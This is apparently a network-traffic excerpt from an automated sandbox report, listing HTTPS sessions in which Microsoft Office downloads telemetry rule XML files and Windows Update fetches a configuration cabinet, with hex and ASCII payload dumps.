2024-11-18 22:03:55 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-18 22:03:56 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-18 22:03:56 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-18 22:03:56 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-18 22:03:56 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-18 22:03:56 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-18 22:03:56 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-18 22:03:56 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:03:56 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=UnkCN63ESHfumrF&MD=aKhye6XM HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-18 22:03:56 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 657851b2-c275-4a5b-8da0-9bed7ff74c69 MS-RequestId: 3a6bd152-8419-4158-9453-99ae0db0d7ea MS-CV: sXV5hxOLSkeOkz6y.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 22:03:55 GMT Connection: close Content-Length: 30005
2024-11-18 22:03:56 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-18 22:03:56 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:03:57 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:03:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:03:57 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05f35093-901e-0016-5b99-38efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220357Z-1866b5c5fbb5hnj5hC1DFW18sc00000006h000000000s7xr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:03:57 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:03:57 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:03:57 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:03:57 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220357Z-16547b76f7ftnm6xhC1DFW9c8c00000005y000000000smsv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:03:57 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:03:57 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:03:58 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:03:57 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: ec16a966-001e-0014-49c6-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220357Z-16547b76f7fwggrphC1DFW2a8s000000056g00000000vz74 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 22:03:58 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:03:57 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:03:58 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:03:57 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220357Z-16547b76f7fwggrphC1DFW2a8s000000059000000000hdtg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:03:58 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:03:57 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:03:58 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:03:57 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 1270a440-201e-00aa-78a0-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220357Z-16547b76f7fp6s5dhC1DFWe28g00000003qg000000006qg6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:03:58 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:03:58 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:03:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:03:58 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 664ceb09-201e-0085-50bf-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220358Z-1866b5c5fbblmqrkhC1DFWf9ns00000004m0000000006nwn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
